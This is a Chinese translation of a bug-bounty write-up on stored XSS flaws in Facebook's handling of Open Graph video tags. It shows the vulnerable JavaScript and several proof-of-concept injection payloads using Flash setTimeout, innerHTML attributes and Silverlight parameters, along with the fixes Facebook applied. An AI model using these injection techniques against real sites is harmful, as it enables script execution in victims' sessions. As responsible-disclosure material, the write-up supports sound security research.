Open Graph協(xié)議
當(dāng)您在Facebook發(fā)帖中添加URL時(shí),F(xiàn)acebook將使用Open Graph協(xié)議 顯示豐富的內(nèi)容。以下是關(guān)于Facebook如何使用OG在Facebook帖子中嵌入外部內(nèi)容的大致流程:
許多網(wǎng)站也使用OG工作流,包括Twitter和WordPress等。
步驟#2很敏感:服務(wù)器端讀取用戶提供的URL,這通常會導(dǎo)致SSRF。
如果托管網(wǎng)站在敏感網(wǎng)頁上使用X-Frame-Options:SAMEORIGIN并允許攻擊者在同一子域中注入任意iframe,則會造成潛在的點(diǎn)擊劫持漏洞。
FB不容易受到這些問題的影響
有趣的部分在步驟#4:在受害者點(diǎn)擊播放按鈕后,F(xiàn)B加載視頻時(shí)。首先,F(xiàn)B會發(fā)送一個XHR請求來獲取視頻類型和視頻文件URL,它們都是由攻擊者在ogvideo:type(我們稱之為ogVideoType)和og:video:secure_url(ogVideoUrl )由攻擊者發(fā)布的URL的標(biāo)簽。以下是OG元標(biāo)記的示例:
<!DOCTYPE html>
<html>
<head>
<meta property="og:video:type" content="video/flv">
<meta property="og:video:secure_url" content='https://example.com/video.flv'>
<meta property="og:video:width" content="718">
<meta property="og:video:height" content="404">
<meta property="og:image" content="https://example.com/cover.jpg">
(...)
</head>
<body>
(...)
</body>
</html>
If ogVideoType is “iframe” or “swf player” then FB loads an external iframe and doesn’t handle the playing of the video. Otherwise, FB was using MediaElement.jsto handle the loading of the video directly on facebook.com. I already reported and disclosed vulnerabilities on the Flash component of ME.js on both Facebook and WordPress.
如果ogVideoType是“iframe”或“swf player”,則FB會加載一個外部iframe并且不處理該視頻的播放,而是直接使用MediaElement.js在facebook.com上處理視頻加載。我已經(jīng)報(bào)告并披露了ME.js的Flash組件在Facebook 和WordPress上的漏洞。
使用FlashMediaElement.swf造成的存儲型XSS
MediaElements.js根據(jù)ogVideoType會有多種播放視頻的方式。
如果ogVideoType是“video / flv”(flash視頻),則Facebook在facebook.com上加載Flash文件FlashMediaElement.swf(使用<embed>標(biāo)簽),并將ogVideoUrl傳遞到FlashME.swf進(jìn)行視頻播放。FlashME.swf然后將日志信息發(fā)送到facebook.com(使用Flash-to-JavaScript)關(guān)于“視頻播放”或“視頻結(jié)束”等事件。FlashME.swf正確處理了Flash-to-JavaScript的通信,特別是被正確轉(zhuǎn)義為\以避免XSS。
但是,發(fā)送的JavaScript代碼是:
setTimeout('log("[VIDEO_URL]")', 0)
在Javascript中setTimeout與eval類似,它會將字符串轉(zhuǎn)換為指令,使其非常危險(xiǎn)
[VIDEO_URL]由攻擊者控制,它是ogVideoUrl的值。如果它包含“例如
http://evil.com/video.flv?"[payload]
Flash會將以下指令發(fā)送給javascript:
setTimeout("log(\"http://evil.com/video.flv?\"payload\")", 0);
如您所見,“ in video.flv?”payload已正確轉(zhuǎn)義,因此攻擊者無法逃離setTimeout函數(shù)。
但是,當(dāng)JavaScript執(zhí)行setTimeout函數(shù)時(shí),它將執(zhí)行以下JavaScript指令:
log("http://evil.com/video.flv?"[payload]")
而這次“不再逃脫,攻擊者可以注入XSS!
現(xiàn)在的問題是,F(xiàn)acebook在將ogVideoUrl傳遞給FlashME.swf之前是否會轉(zhuǎn)義l。
首先,F(xiàn)acebook JavaScript向Facebook服務(wù)器發(fā)送XHR請求以獲取ogVideoType和ogVideoUrl的值。ogVideoUrl的值是正確編碼的,但它可以包含任何特殊字符,例如:
https://evil.com?"'<
然后,在發(fā)送到Flash之前,ogVideoUrl進(jìn)行了如下轉(zhuǎn)換:
function absolutizeUrl(ogVideoUrl) {
var tempDiv = document.createElement('div');
tempDiv.innerHTML = '<a href="' + ogVideoUrl.toString().split('"').join('"') + '">x</a>';
return tempDiv.firstChild.href;
}flashDiv.innerHTML ='<embed data-original="FlashME.swf?videoFile=' + encodeURI(absolutizeUrl(ogVideoUrl )) +'" type="application/x-shockwave-flash">';
absolutizeUrl(ogVideoUrl)的結(jié)果 在發(fā)送到Flash之前進(jìn)行了URL編碼,但當(dāng)Flash接收到數(shù)據(jù)時(shí),它會自動對其進(jìn)行URL解碼,因此我們可以忽略encodeURI指令。
absolutizeUrl使用當(dāng)前的javascript上下文的協(xié)議和域(Domain)來將相對URL轉(zhuǎn)換為絕對URL(如果提供了絕對URL,則返回它幾乎不變)。這似乎是“哈克”,但它看起來足夠安全和簡單,因?yàn)槲覀冏尀g覽器做了艱苦的工作。但當(dāng)存在特殊字符編碼時(shí),這并不簡單。
當(dāng)最初分析這段代碼時(shí),我使用的是Firefox,因?yàn)樗泻馨舻臄U(kuò)展,比如Hackbar,Tamper Data和Firebug!
在Firefox中,如果你嘗試
absolutizeUrl('http://evil.com/video.flv#"payload')
它會返回
http://evil.com/video.flv#%22payload
所以我被難住了,因?yàn)樵贔acebook中,由Flash發(fā)送的JavaScript指令會是
setTimeout("log(\"http://evil.com/video.flv?%22payload\")", 0);
這將導(dǎo)致
log("http://evil.com/video.flv?%22[payload]")
這不是一個XSS。
然后我嘗試了Chrome和
absolutizeUrl('http://evil.com/video.flv#"payload')
返回:
http://evil.com/video.flv#"payload
和 o / YEAH !!!!!
現(xiàn)在Flash發(fā)送
setTimeout("log(\"http://evil.com/video.flv?\"payload\")", 0);
到Facebook的JavaScript和哪些將導(dǎo)致
log("http://evil.com/video.flv?"[payload]")
所以如果ogVideoUrl設(shè)置為
http://evil.com/video.flv#"+alert(document.domain+" XSSed!")+"
那么Facebook將執(zhí)行
log("http://evil.com/video.flv?"+alert(document.domain+" XSSed!")+"")
并會顯示一個不錯的小警告框,說“facebook.com XSSed!”
這是由于瀏覽器解析URL時(shí),不同的瀏覽器在特殊字符編碼上有所不同:
正如你所看到的讓瀏覽器決定如何在JavaScript代碼中的URL中進(jìn)行特殊字符編碼并不是很好!
我立即將此漏洞報(bào)告給Facebook,他們在第二天回復(fù)并告訴我他們修改了Flash文件,以便它不再使用setTimeout,F(xiàn)lash現(xiàn)在會發(fā)送
log("http://evil.com/video.flv?\"payload")
正如你所看到的“正確地轉(zhuǎn)義到”,所里這里不再有XSS。
無Flash存儲XSS
上面的的XSS需要Flash,所以我檢查這里能否有一個不使用Flash的payload。
如果ogVideoType是“video / vimeo”,則會執(zhí)行以下代碼
ogVideoUrl = absolutizeUrl(ogVideoUrl);ogVideoUrl = ogVideoUrl.substr(ogVideoUrl.lastIndexOf('/') + 1);playerDiv.innerHTML = '<iframe data-original="https://player.vimeo.com/video/' + ogVideoUrl + '?api=1"></iframe>';
正如你可以看到 absolutizeUrl(ogURL)在注入playerDiv.innerHTML之前沒有被urlencoded,所以當(dāng)ogVideoUrl設(shè)置為
http://evil.com/#" onload="alert(document.domain)"
playerDiv.innerHTML則會變?yōu)椋?/p>
<iframe data-original="https://player.vimeo.com/video/#" onload="alert(document.domain)" ?api=1"></iframe>
這又是Facebook.com上的XSS!
我在前一個XSS被修復(fù)的同一天報(bào)道了這一點(diǎn),F(xiàn)acebook在同一天用如下方法修復(fù)了漏洞:
ogVideoUrl = absolutizeUrl(ogVideoUrl);ogVideoUrl = ogVideoUrl.substr(ogVideoUrl.lastIndexOf('/') + 1);playerDiv.innerHTML = '<iframe data-original="https://player.vimeo.com/video/' + ogVideoUrl.split('"').join('"') + '?api=1"></iframe>'
第二天,我發(fā)現(xiàn)了另一個易受攻擊的點(diǎn):當(dāng)ogVideoType是未知的類型,比如“video / nothing”時(shí),F(xiàn)acebook會顯示一條包含ogVideoUrl鏈接的錯誤消息,如下所示:
errorDiv.innerHTML = '<a href="' +absolutizeUrl(ogVideoUrl ) + '">'
所以ogVideoUrl 的payload設(shè)置為
https://opnsec.com/#"><img/src="xxx"onerror="alert(document.domain)
errorDiv.innerHTML則會變?yōu)椋?/p>
<a ><img data-original="xxx" onerror="alert(document.domain)">
我把它報(bào)告給了Facebook,非常歡樂的是,來自Facebook的白帽子Neil告訴我,他計(jì)劃在第二天檢查這些代碼!
另一種可能的ogVideoType是“silverlight”。Silverlight 是微軟公司的瀏覽器插件,它能與VBscript交互,就像Flash和JavaScript交互。
在Facebook(silverlightmediaelement.xap)上托管的silverlight文件是這樣加載的:
params = ["file=" + ogVideoUrl, "id=playerID"];silverlightDiv.innerHTML ='<object data="data:application/x-silverlight-2," type="application/x-silverlight-2"><param name="initParams" value="' + params.join(',').split('"').join('"') + '" /></object>';
silverlightmediaelement.xap然后會發(fā)送日志信息到Facebook的JavaScript(這點(diǎn)有點(diǎn)像Flash),但這次它不包含ogVideoUrl,但只有player ID,這是另一個在initParams中發(fā)送由Facebook定義的參數(shù)。Silverlight會調(diào)用javascript函數(shù)[id] _init() ,其中[id]是“playerID”。
在Silverlight中,參數(shù)不是由 URLs或Flash中的&所分隔,而是通過逗號(,)
如果ogVideoUrl 包含一個逗號( ,)那么在這個逗號后面的每一個東西都將被silverlight視為另一個參數(shù),這意味著使用有效載荷
https://opnsec.com/#,id=alert(document.domain)&
然后silverlight像這樣加載:
silverlightDiv.innerHTML ='<object data="data:application/x-silverlight-2," type="application/x-silverlight-2"><param name="initParams" value="file=https://opnsec.com/#,id=alert(document.domain)&,id=playerID" /></object>';
Silverlight將僅考慮id的第一次出現(xiàn),并將其值設(shè)置為
alert(document.domain)&
然后Silverlight將調(diào)用以下javascript:
alert(document.domain)&_init()
這意味著再次 XSS!
結(jié)論
我學(xué)到了很多東西,并且發(fā)現(xiàn)這些漏洞非常有趣。我希望你也喜歡它!
以下是一些建議:
Open Graph(以及像json-ld這樣的替代品)是在網(wǎng)站上顯示豐富的外部內(nèi)容的好方法,但你應(yīng)該小心使用(認(rèn)為SSRF,XSS和Clickjacking)
不要讓瀏覽器在您的JavaScript代碼中為您解析URL,每個瀏覽器都以自己的方式處理它,并且瀏覽器可以隨時(shí)更改其行為(如Chrome 64 – > 65)。應(yīng)該改為使用白名單正則表達(dá)式。
現(xiàn)在的自動工具不會檢測到使用XHR,DOM突變和外部內(nèi)容的復(fù)雜動態(tài)XSS。所以即使是最安全,最有影響力的網(wǎng)站也可能會受到攻擊。代碼審查和調(diào)試是實(shí)現(xiàn)這些目標(biāo)的方法!
不要害怕大的、壓縮過、動態(tài)的JavaScript源代碼。如果您在網(wǎng)站上發(fā)現(xiàn)一些潛在的危險(xiǎn)功能,您可以放輕松的檢查它是如何實(shí)現(xiàn)的。
原文:https://opnsec.com/2018/03/stored-xss-on-facebook/